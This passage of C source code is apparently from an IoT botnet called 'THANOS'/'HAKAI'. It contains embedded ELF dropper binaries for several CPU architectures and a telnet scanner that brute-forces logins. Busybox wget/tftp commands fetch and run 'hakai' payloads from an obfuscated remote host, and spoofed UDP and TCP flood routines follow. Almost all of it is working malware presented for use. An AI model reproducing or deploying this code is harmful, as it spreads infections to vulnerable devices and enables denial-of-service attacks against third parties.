80\xa2\x20\x01\x02\x80\x00\x05\xc2\x4f\xbf\xf7\x7f\xff\xff\x9d\x90\x10\x20\x04\xc2\x4f\xbf\xf7\x85\x2c\x20\x08\xa0\x10\x80\x01\x03\x03\x42\x83\x82\x10\x61\x0a\x80\xa4\x00\x01\x12\xbf\xff\xf2\x92\x07\xbf\xf7\xa0\x07\xbf\x64\x90\x10\x00\x11\x92\x10\x00\x10\x7f\xff\xff\xb8\x94\x10\x20\x80\x80\xa2\x20\x00\x04\x80\x00\x07\x94\x10\x00\x08\x92\x10\x00\x10\x7f\xff\xff\xa9\x90\x10\x00\x12\x10\xbf\xff\xf6\xa0\x07\xbf\x64\x7f\xff\xff\x8c\x90\x10\x00\x11\x7f\xff\xff\x8a\x90\x10\x00\x12\x7f\xff\xff\x82\x90\x10\x20\x03\x81\xc7\xe0\x08\x81\xe8\x00\x00\x82\x10\x00\x08\x90\x10\x00\x09\x92\x10\x00\x0a\x94\x10\x00\x0b\x96\x10\x00\x0c\x98\x10\x00\x0d\x91\xd0\x20\x10\x0a\x80\x00\x04\x01\x00\x00\x00\x81\xc3\xe0\x08\x01\x00\x00\x00\x9d\xe3\xbf\x98\x40\x00\x00\x05\x01\x00\x00\x00\xf0\x22\x00\x00\x81\xc7\xe0\x08\x91\xe8\x3f\xff\x11\x00\x00\x80\x81\xc3\xe0\x08\x90\x12\x23\x18\x00\x00\x00\x00\x68\x61\x6b\x61\x69\x00\x00\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x73\x70\x63\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x00\x00\x00\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x62\x73\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x01\x00\x94\x00\x00\x00\x94\x00\x00\x02\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x01\x02\xf0\x00\x00\x02\xf0\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x00\x02\x03\x18\x00\x00\x03\x18\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x18\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00", 1024,
  887. // superh
  888. BIT_32, ENDIAN_LITTLE, EM_SH, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a\x00\x01\x00\x00\x00\x68\x01\x40\x00\x34\x00\x00\x00\xfc\x02\x00\x00\x02\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x05\x00\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x40\x00\xdc\x02\x00\x00\xdc\x02\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\xdc\x02\x00\x00\xdc\x02\x41\x00\xdc\x02\x41\x00\x00\x00\x00\x00\x08\x00\x00\x00\x06\x00\x00\x00\x00\x00\x01\x00\x51\xe5\x74\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x04\xd1\x43\x65\xe6\x2f\x01\xe4\xf3\x6e\xe3\x6f\xf6\x6e\x2b\x41\x09\x00\x09\x00\x68\x02\x40\x00\x04\xd1\x43\x65\xe6\x2f\x06\xe4\xf3\x6e\xe3\x6f\xf6\x6e\x2b\x41\x09\x00\x09\x00\x68\x02\x40\x00\x53\x61\x63\x67\x13\x66\x04\xd1\xe6\x2f\x43\x65\xf3\x6e\x05\xe4\xe3\x6f\xf6\x6e\x2b\x41\x09\x00\x68\x02\x40\x00\xe6\x2f\x22\x4f\x07\xd0\xf4\x7f\xf3\x6e\x42\x2e\x51\x1e\x66\xe4\x62\x1e\x03\xe5\x0b\x40\xe3\x66\x0c\x7e\xe3\x6f\x26\x4f\xf6\x6e\x0b\x00\x09\x00\x68\x02\x40\x00\x53\x61\x63\x67\x13\x66\x04\xd1\xe6\x2f\x43\x65\xf3\x6e\x04\xe4\xe3\x6f\xf6\x6e\x2b\x41\x09\x00\x68\x02\x40\x00\x53\x61\x63\x67\x13\x66\x04\xd1\xe6\x2f\x43\x65\xf3\x6e\x03\xe4\xe3\x6f\xf6\x6e\x2b\x41\x09\x00\x68\x02\x40\x00\xe6\x2f\x22\x4f\x07\xd0\xf4\x7f\xf3\x6e\x42\x2e\x51\x1e\x66\xe4\x62\x1e\x01\xe5\x0b\x40\xe3\x66\x0c\x7e\xe3\x6f\x26\x4f\xf6\x6e\x0b\x00\x09\x00\x68\x02\x40\x00\x86\x2f\x02\xe1\x96\x2f\xa6\x2f\xb6\x2f\xe6\x2f\x22\x4f\x5b\x92\xb4\x7f\x5a\x90\xb8\x7f\x59\x98\xf3\x6e\x25\x0e\xec\x38\x2d\xd0\x11\x28\x2d\xd1\x2d\xd4\x11\x18\x51\x95\x51\x96\x0b\x40\x09\x00\x03\x6b\x2b\xd0\x02\xe4\x01\xe5\x0b\x40\x00\xe6\x03\x64\x03\x69\x28\xd0\x83\x65\x0b\x40\x10\xe6\x27\xd0\x93\x64\x27\xd5\x0b\x40\x1b\xe6\x1b\x88\x02\x89\x26\xd1\x0b\x41\x03\xe4\x00\xe8\x38\x9a\x93\x64\x24\xd0\x01\xe6\xec\x3a\xa3\x65\x0b\x40\x18\x48\x01\x88\x03\x8d\x04\xe4\x1e\xd1\x0b\x41\x09\x00\xa0\x61\x1b\x28\x1e\xd1\x10\x38\xec\x8b\x1b\xd0\x93\x64\x20\x96\x0b\x40\xe3\x65\x15\x40\xe3\x65\x03\x66\x05\x8f\xb3\x64\x13\xd0\x0b\x40\x09\x00\xf1\xaf\x09\x00\x16\xd8\x0b\x48\x93\x64\x0b\x48\xb3\x64\x10\xd1\x0b\x41\x03\xe4\x48\x7e\x4c\x7e\xe3\x6f\x26\x4f\xf6\x6e\xf6\x6b\xf6\x6a\xf6\x69\xf6\x68\x0b\x00\x09\x00\x00\x50\x82\x00\x80\x00\x41\x02\xff\x01\x93\x00\xc4\x00\x40\x00\xb2\x80\xb9\xfa\xb8\x02\x40\x00\x40\x01\x40\x00\xe0\x00\x40\x00\x08\x01\x40\x00\xc0\x02\x40\x00\x94\x00\x40\x00\x24\x01\x40\x00\x0a\x0d\x0a\x0d\xac\x00\x40\x00\x86\x2f\x43\x63\xe6\x2f\x53\x64\x22\x4f\x63\x65\xf3\x6e\x73\x66\xe4\x50\xe3\x57\xe5\x51\x16\xc3\x82\xe1\x16\x30\x06\x8f\x03\x68\x05\xd0\x0b\x40\x09\x00\x8b\x61\x12\x20\xff\xe0\xe3\x6f\x26\x4f\xf6\x6e\xf6\x68\x0b\x00\x09\x00\xa4\x02\x40\x00\x03\xd0\xe6\x2f\xf3\x6e\xe3\x6f\xf6\x6e\x0b\x00\x09\x00\x09\x00\xdc\x02\x41\x00\x68\x61\x6b\x61\x69\x00\x00\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x73\x68\x34\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x62\x73\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x94\x00\x40\x00\x94\x00\x00\x00\x24\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x00\x00\xb8\x02\x40\x00\xb8\x02\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\xdc\x02\x41\x00\xdc\x02\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdc\x02\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00", 964,
  889.  
  890. BIT_32, ENDIAN_LITTLE, EM_ARC, "\x7f\x45\x4c\x7f\x45\x4c", 12,
  891. };
  892.  
  893. static struct payload *get_retrieve_binary(struct telnet_state_t *fd)
  894. {
  895. int i = 0;
  896. struct payload *ptr = &payloads[i];
  897.  
  898.  
  899. while(ptr)
  900. {
  901. if(i == NUM_OF_PAYLOADS)
  902. break;
  903. //debug
  904. //thanosprint(uhmysockethere, "attempting to compare bit endian, machine with payload %d:%d:%d, %d:%d:%d\n", fd->bit, fd->endianness, fd->machine, ptr->bit, ptr->endian, ptr->machine);
  905. if(fd->bit == ptr->bit && fd->endianness == ptr->endian && fd->machine == ptr->machine)
  906. return ptr;
  907. ptr++;
  908. i++;
  909. }
  910.  
  911. return NULL;
  912. }
  913.  
  914. static struct binary *process_retrieve_binary(struct telnet_state_t *fd, struct payload *p)
  915. {
  916. int i = 0;
  917. int pos = 0;
  918. struct binary *bin;
  919. char buf[5];
  920. int idx = 0;
  921. char buf2[MAX_ECHO_BYTES * 4];
  922.  
  923. memset(buf2, 0, MAX_ECHO_BYTES * 4);
  924. bin = (struct binary *)calloc(p->len / MAX_ECHO_BYTES, sizeof(struct binary));
  925.  
  926. for(i = 0; i < p->len / MAX_ECHO_BYTES; i++)
  927. bin[i].str = (char *)malloc(MAX_ECHO_BYTES * 4);
  928.  
  929. retry:
  930. for(i = 0; i < p->len; i++)
  931. {
  932. if(i == MAX_ECHO_BYTES)
  933. break;
  934. memset(buf, 0, 5);
  935. sprintf(buf, "\\x%02x", (uint8_t)p->str[pos + i]);
  936.  
  937. strcat(buf2, buf);
  938. }
  939.  
  940. if(idx == p->len / MAX_ECHO_BYTES)
  941. return bin;
  942.  
  943.  
  944. memcpy(bin[idx].str, buf2, strlen(buf2));
  945. memset(buf2, 0, MAX_ECHO_BYTES * 4);
  946. bin->index = idx;
  947. idx++;
  948. pos += i;
  949. goto retry;
  950. }
  951. static void check_timeout(struct telnet_state_t *fd, uint16_t timeout)
  952. {
  953. uint32_t now = time(NULL);
  954. char ret = fd->ttltimeout + timeout < now ? 1 : 0;
  955.  
  956. if(ret)
  957. {
  958. reset_telnet_state(fd, 1);
  959. }
  960.  
  961. return;
  962. }
  963.  
  964.  
  965. void telnet_scanner()
  966. {
  967. fd_set myset;
  968. struct timeval tv;
  969. socklen_t lon;
  970. char buf[128];
  971. int valopt = 0, max_ktx = 0, cpu_cores = sysconf(_SC_NPROCESSORS_ONLN), res = 0, i = 0, j = 0, b = 0, c = 0, gg = 0, o = 0, feg;
  972. rand_init();
  973. struct payload *p;
  974. struct binary *bin;
  975.  
  976. if(cpu_cores == 1)
  977. max_ktx = 500;
  978.  
  979. else if(cpu_cores > 1)
  980. //max_ktx = 1; // debug
  981. max_ktx = 1000;
  982. else
  983. exit(1);
  984.  
  985. struct sockaddr_in dest_addr;
  986. dest_addr.sin_family = AF_INET;
  987. dest_addr.sin_port = htons(23);
  988. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  989. struct telnet_state_t ktx[max_ktx];
  990. memset(ktx, 0, max_ktx * (sizeof(int) + 1));
  991.  
  992. for(i = 0; i < max_ktx; i++)
  993. {
  994. //ktx[i].complete = 1;
  995. memset(&(ktx[i]), 0, sizeof(struct telnet_state_t));
  996. ktx[i].complete = 1;
  997. ktx[i].dropper_index = 0;
  998. ktx[i].bit = 0;
  999. ktx[i].endianness = 0;
  1000. ktx[i].machine = 0;
  1001. ktx[i].usernind = 0;
  1002. ktx[i].pwordind = 0;
  1003. }
  1004. thanosprint(uhmysockethere, "[THANOS] Scanner Starting : [%s]\n", inet_ntoa(ourIP)); while(1)
  1005. {
  1006. for(i = 0; i < max_ktx; i++)
  1007. {
  1008. switch(ktx[i].state)
  1009. {
  1010. case 0:
  1011. {
  1012. if(ktx[i].complete == 1)
  1013. {
  1014. memset(&(ktx[i]), 0, sizeof(struct telnet_state_t));
  1015. //ktx[i].ip = inet_addr("160.13.218.177");
  1016. ktx[i].ip = scantelnetip();
  1017. }
  1018. else if(ktx[i].complete == 0)
  1019. {
  1020. ktx[i].pwordind++;
  1021. ktx[i].usernind++;
  1022. if(ktx[i].pwordind == sizeof(passwords) / sizeof(char *)) { ktx[i].complete == 1; continue; }
  1023. if(ktx[i].usernind == sizeof(usernames) / sizeof(char *)) { ktx[i].complete == 1; continue; }
  1024. }
  1025. dest_addr.sin_family = AF_INET;
  1026. dest_addr.sin_port = htons(23);
  1027. memset(dest_addr.sin_zero, '\0', sizeof(dest_addr.sin_zero));
  1028. dest_addr.sin_addr.s_addr = ktx[i].ip;
  1029. ktx[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1030. if(ktx[i].fd == -1){continue;}
  1031. fcntl(ktx[i].fd, F_SETFL, fcntl(ktx[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1032. if(connect(ktx[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS){set_state(&ktx[i], 1); continue;}
  1033. else{set_state(&ktx[i], 1);}
  1034. }
  1035. break;
  1036.  
  1037. case 1:
  1038. {
  1039.  
  1040. FD_ZERO(&myset); FD_SET(ktx[i].fd, &myset); tv.tv_sec = 0; tv.tv_usec = 100; res = select(ktx[i].fd + 1, NULL, &myset, NULL, &tv);
  1041. if(res == 1)
  1042. {
  1043. lon = sizeof(int); valopt = 0; getsockopt(ktx[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1044. if(valopt){reset_telnet_state(&ktx[i], 1); }else{fcntl(ktx[i].fd, F_SETFL, fcntl(ktx[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));set_state(&ktx[i], 2);} continue;
  1045. }
  1046. else if(res == -1){reset_telnet_state(&ktx[i], 1);}
  1047. check_timeout(&ktx[i], 5);
  1048. }
  1049. break;
  1050.  
  1051. case 2:
  1052. {
  1053. if(read_until_response(ktx[i].fd, 100, ktx[i].sock_buffer, SOCK_BUFSIZE, login_prompts)){if(compare_strings(ktx[i].sock_buffer, login_prompts)){set_state(&ktx[i], 3);}else{reset_telnet_state(&ktx[i], 1);}continue; }
  1054. check_timeout(&ktx[i], 7);
  1055. }
  1056. break;
  1057.  
  1058. case 3:
  1059. {
  1060.  
  1061. if(thanosprint(ktx[i].fd, "%s\r\n", usernames[ktx[i].usernind]) < 0)
  1062. {
  1063. reset_telnet_state(&ktx[i], 1);
  1064. continue;
  1065. }
  1066. set_state(&ktx[i], 4);
  1067.  
  1068. }
  1069. break;
  1070.  
  1071. case 4:
  1072. {
  1073. if(read_until_response(ktx[i].fd, 100, ktx[i].sock_buffer, SOCK_BUFSIZE, login_prompts)) { if(compare_strings(ktx[i].sock_buffer, login_prompts)) {set_state(&ktx[i], 5); } else {set_state(&ktx[i], 5);} continue; }
  1074. check_timeout(&ktx[i], 7);
  1075. }
  1076. break;
  1077.  
  1078. case 5:
  1079. {
  1080. if(thanosprint(ktx[i].fd, "%s\r\n",passwords[ktx[i].pwordind]) < 0)
  1081. {
  1082. reset_telnet_state(&ktx[i], 1);continue;}set_state(&ktx[i], 6);
  1083. }
  1084. break;
  1085.  
  1086. break;
  1087. case 6:
  1088. {
  1089.  
  1090. if(read_until_response(ktx[i].fd, 100, ktx[i].sock_buffer, SOCK_BUFSIZE, fail_or_success))
  1091. {
  1092. if(compare_strings(ktx[i].sock_buffer, fail_prompts))
  1093. {
  1094.  
  1095. reset_telnet_state(&ktx[i], 0);
  1096. }
  1097. else if(compare_strings(ktx[i].sock_buffer, success_prompts))
  1098. {
  1099. thanosprint(uhmysockethere, "[THANOS] ATTEMPT [%s:23 %s:%s]\n",inet_ntoa(*(struct in_addr *)&(ktx[i].ip)), usernames[ktx[i].usernind], passwords[ktx[i].pwordind]);
  1100. set_state(&ktx[i], 7);
  1101. }
  1102. else {
  1103.  
  1104. set_state(&ktx[i], 7);
  1105. } continue;
  1106. }
  1107. check_timeout(&ktx[i], 15);
  1108. }
  1109. break;
  1110. case 7:
  1111. {
  1112. thanosprint(ktx[i].fd, "sh\r\n");
  1113. thanosprint(ktx[i].fd, "shell\r\n");
  1114. thanosprint(ktx[i].fd, "enable\r\n");
  1115. thanosprint(ktx[i].fd, "linuxshell\r\n");
  1116. thanosprint(ktx[i].fd, "system\r\n");
  1117. set_state(&ktx[i], 8);
  1118. continue;
  1119. }
  1120. break;
  1121.  
  1122. case 8:
  1123. {
  1124. if(thanosprint(ktx[i].fd, "/bin/busybox cat /bin/busybox\r\n") < 1)
  1125. {
  1126. reset_telnet_state(&ktx[i], 1);
  1127. continue;
  1128. }
  1129. set_state(&ktx[i], 9);
  1130. }
  1131. break;
  1132. case 9:
  1133. {
  1134. if(read_until_response(ktx[i].fd, 100, ktx[i].sock_buffer, SOCK_BUFSIZE, elf_response)){
  1135. int ret = parse_elf_response(&ktx[i]);
  1136. if(!ret)
  1137. {
  1138. reset_telnet_state(&ktx[i], 1);
  1139. continue;
  1140. }
  1141. // success!
  1142. sleep(5);
  1143. ktx[i].complete = 2;
  1144. set_state(&ktx[i], 10);
  1145. continue;
  1146.  
  1147.  
  1148. }
  1149. check_timeout(&ktx[i], 15);
  1150. }
  1151. break;
  1152. case 10:
  1153. {
  1154. for(j = 0; j < 7; j++)
  1155. {
  1156. thanosprint(ktx[i].fd, ">%sZS && cd %s && >ZoneSecBox; >.HAKAI\r\n", tmp_dirs[j], tmp_dirs[j]);
  1157. continue;
  1158. }
  1159. thanosprint(ktx[i].fd, "/bin/busybox cp /bin/busybox ZS && >ZS && /bin/busybox chmod 777 ZS && /bin/busybox cp /bin/busybox .HAKAI && >.HAKAI && /bin/busybox chmod 777 .HAKAI\r\n");
  1160. thanosprint(ktx[i].fd, "/bin/busybox THANOS; /bin/busybox tftp; /bin/busybox wget\r\n");
  1161. set_state(&ktx[i], 11);
  1162. }
  1163. case 11:
  1164. {
  1165. int r;
  1166. char str[] = {"4:;145;14;81583"};
  1167. for(r = 0; (r < 100 && str[r] != '\0'); r++)
  1168. str[r] = str[r] - 3;
  1169. thanosprint(uhmysockethere, "[THANOS] tftp/wget selected! dropping binary...\r\n");
  1170. thanosprint(ktx[i].fd, "/bin/busybox tftp -r %s -g %s; /bin/busybox chmod +x %s; ./%s\r\n", ktx[i].arch, str, ktx[i].arch, ktx[i].arch, ktx[i].arch);
  1171. thanosprint(ktx[i].fd, "/bin/busybox wget http://%s/hakai.%s -O -> hakai; /bin/busybox chmod +x hakai; ./hakai\r\n", str, ktx[i].arch);
  1172. check_timeout(&ktx[i], 5);
  1173. thanosprint(uhmysockethere, "SUCCESS [%s:23 %s:%s %s]\n", inet_ntoa(*(struct in_addr *)&(ktx[i].ip)), usernames[ktx[i].usernind], passwords[ktx[i].pwordind], ktx[i].arch);
  1174. thanosprint(uhmysockethere, "LOCKED %s:23 %s:%s %s\n", inet_ntoa(*(struct in_addr *)&(ktx[i].ip)), usernames[ktx[i].usernind], passwords[ktx[i].pwordind], ktx[i].arch);
  1175. thanosprint(uhmysockethere, "[ECHO:%s] taking over process just in case of failure.\r\n", ktx[i].arch);
  1176. set_state(&ktx[i], 12);
  1177. continue;
  1178.  
  1179. }
  1180. break;
  1181. case 12:
  1182. {
  1183.  
  1184. p = get_retrieve_binary(&ktx[i]);
  1185. if(!p)
  1186. {
  1187. free(p);
  1188. thanosprint(uhmysockethere, "[ECHO] Failed to retrieve a dropper\r\n");
  1189. reset_telnet_state(&ktx[i], 1);
  1190. continue;
  1191. }
  1192.  
  1193. bin = process_retrieve_binary(&ktx[i], p);
  1194. if(!bin)
  1195. {
  1196. free(bin);
  1197. thanosprint(uhmysockethere, "[ECHO] Failed to process the retrieve binary\r\n");
  1198. reset_telnet_state(&ktx[i], 1);
  1199. continue;
  1200. }
  1201. //debug
  1202. //thanosprint(uhmysockethere, "Processed retrieve binary!, binary index %d\n", bin->index);
  1203.  
  1204.  
  1205. if(thanosprint(ktx[i].fd, "/bin/busybox echo -en '%s' %s .HAKAI; %s && /bin/busybox echo -en '\\x44\\x52\\x4f\\x50\\x50\\x45\\x52'\r\n", bin[ktx[i].dropper_index].str, ktx[i].dropper_index == 0 ? ">" : ">>", ktx[i].dropper_index == bin->index ? "/bin/busybox chmod 777 .HAKAI; ./.HAKAI; /bin/busybox chmod 777 rekai; ./rekai" : ">xzonesec") < 1)
  1206. {
  1207. reset_telnet_state(&ktx[i], 1);
  1208. continue;
  1209. }
  1210. thanosprint(uhmysockethere, "[ECHO:%s] Echo loader: dropped line [%d] of payload [%s] -> [%s]\r\n", ktx[i].arch, ktx[i].dropper_index, ktx[i].arch, inet_ntoa(*(struct in_addr *)&(ktx[i].ip)));
  1211. if(ktx[i].dropper_index == bin->index)
  1212. {
  1213. thanosprint(uhmysockethere, "[THANOS] [%s:23 %s:%s] [%s] -> binary successfully deployed!\r\n",inet_ntoa(*(struct in_addr *)&(ktx[i].ip)), usernames[ktx[i].usernind], passwords[ktx[i].pwordind], ktx[i].arch);
  1214.  
  1215. set_state(&ktx[i], 17);
  1216. continue;
  1217. }
  1218. ktx[i].dropper_index++;
  1219. free(bin);
  1220. set_state(&ktx[i], 13);
  1221. }
  1222.  
  1223.  
  1224. break;
  1225. case 13:
  1226. {
  1227. int deployed = read_until_response(ktx[i].fd, 100, ktx[i].sock_buffer, SOCK_BUFSIZE, echofinished);
  1228. if(deployed)
  1229. {
  1230. //debug
  1231. //thanosprint(uhmysockethere, "\n\n[DEBUG] -> [%s] telnet feedback: [%s]\n\n", ktx[i].arch, ktx[i].sock_buffer);
  1232. set_state(&ktx[i], 12);
  1233. continue;
  1234. }
  1235.  
  1236.  
  1237. }
  1238. break;
  1239. case 17:
  1240. {
  1241. int deployed = read_until_response(ktx[i].fd, 100, ktx[i].sock_buffer, SOCK_BUFSIZE, echofinished);
  1242. if(deployed)
  1243. {
  1244. thanosprint(uhmysockethere, "[THANOS] EXEUCITON CONFIRMED! -> [%s]\r\n", inet_ntoa(*(struct in_addr *)&(ktx[i].ip)));
  1245. set_state(&ktx[i], 21);
  1246. continue;
  1247. }
  1248. set_state(&ktx[i], 21);
  1249. continue;
  1250. }
  1251. break;
  1252.  
  1253.  
  1254.  
  1255. case 21:
  1256. {
  1257. thanosprint(ktx[i].fd, "/bin/busybox THANOS COMPLETE; /bin/busybox ZHWUZHERE\r\n");
  1258. check_timeout(&ktx[i], 5);
  1259.  
  1260.  
  1261. }
  1262. break;
  1263. }
  1264. }
  1265.  
  1266. }
  1267. }
  1268.  
  1269. void makeRandomStr(unsigned char *buf, int length)
  1270. {
  1271. int i = 0;
  1272. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  1273. }
  1274.  
  1275. void audp(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1276. {
  1277. struct sockaddr_in dest_addr; dest_addr.sin_family = AF_INET;
  1278. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1279. else dest_addr.sin_port = htons(port);
  1280. if(getHost(target, &dest_addr.sin_addr)) return; memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1281. register unsigned int pollRegister; pollRegister = pollinterval;
  1282. if(spoofit == 32) {int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1283. if(!sockfd) {
  1284. return;
  1285. }
  1286. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1287. if(buf == NULL) return; memset(buf, 0, packetsize + 1);
  1288. makeRandomStr(buf, packetsize);
  1289. int end = time(NULL) + timeEnd;
  1290. register unsigned int i = 0;
  1291. while(1) {
  1292. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1293. if(i == pollRegister) {
  1294.  
  1295. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1296. if(time(NULL) > end)
  1297. break; i = 0; continue; } i++; }} else {int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if(!sockfd) { return;} int tmp = 1; if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0){return;} int counter = 50; while(counter--) { srand(time(NULL) ^ rand_cmwc());init_rand(rand());} in_addr_t netmask; if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); else netmask = ( ~((1 << (32 - spoofit)) - 1) );unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize]; struct iphdr *iph = (struct iphdr *)packet; struct udphdr *udph = (void *)iph + sizeof(struct iphdr); makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize); udph->len = htons(sizeof(struct udphdr) + packetsize); udph->source = rand_cmwc(); udph->dest = (port == 0 ? rand_cmwc() : htons(port)); udph->check = 0; makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize); iph->check = csum ((unsigned short *) packet, iph->tot_len); int end = time(NULL) + timeEnd; register unsigned int i = 0; while(1){ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); udph->source = rand_cmwc(); udph->dest = (port == 0 ? rand_cmwc() : htons(port)); iph->id = rand_cmwc(); iph->saddr = htonl( getRandomIP(netmask) ); iph->check = csum ((unsigned short *) packet, iph->tot_len); if(i == pollRegister){if(time(NULL) > end) break; i = 0; continue; } i++; } }
  1298. }
  1299.  
  1300. void atcp(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1301. {
  1302. register unsigned int pollRegister; pollRegister = pollinterval;
  1303. struct sockaddr_in dest_addr;
  1304. dest_addr.sin_family = AF_INET;
  1305. if(port == 0)
  1306. dest_addr.sin_port = rand_cmwc();
  1307. else
  1308. dest_addr.sin_port = htons(port);
  1309. if(getHost(target, &dest_addr.sin_addr))
  1310. return;
  1311. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1312. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1313. if(!sockfd) {
  1314. return;
  1315. }
  1316. int tmp = 1;
  1317. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1318. return;
  1319. }
  1320. in_addr_t netmask;
  1321. if ( spoofit == 0 )
  1322. netmask = ( ~((in_addr_t) -1) );
  1323. else
  1324. netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1325. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1326. struct iphdr *iph = (struct iphdr *)packet;
  1327. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1328. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1329. tcph->source = rand_cmwc();
  1330. tcph->seq = rand_cmwc();
  1331. tcph->ack_seq = 0;
  1332. tcph->doff = 5;
  1333. if(!strcmp(flags, "all")){ tcph->syn = 1; tcph->rst = 1; tcph->fin = 1; tcph->ack = 1; tcph->psh = 1;} else { unsigned char *pch = strtok(flags, ","); while(pch){ if(!strcmp(pch, "syn")){ tcph->syn = 1; } else if(!strcmp(pch, "rst")){ tcph->rst = 1; } else if(!strcmp(pch, "fin")) { tcph->fin = 1;} else if(!strcmp(pch, "ack")){ tcph->ack = 1;} else if(!strcmp(pch, "psh")){tcph->psh = 1;} else {} pch = strtok(NULL, ",");}} tcph->window = rand_cmwc(); tcph->check = 0; tcph->urg_ptr = 0; tcph->dest = (port == 0 ? rand_cmwc() : htons(port)); tcph->check = tcpcsum(iph, tcph); iph->check = csum ((unsigned short *) packet, iph->tot_len); int end = time(NULL) + timeEnd; register unsigned int i = 0;
  1334. while(1){ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); iph->saddr = htonl( getRandomIP(netmask) ); iph->id = rand_cmwc(); tcph->seq = rand_cmwc(); tcph->source = rand_cmwc(); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); iph->check = csum ((unsigned short *) packet, iph->tot_len); if(i == pollRegister) { if(time(NULL) > end) break; i = 0; continue; } i++; }
  1335. }
  1336. int socket_connect(char *host, in_port_t port)
  1337. {
  1338. struct hostent *hp;
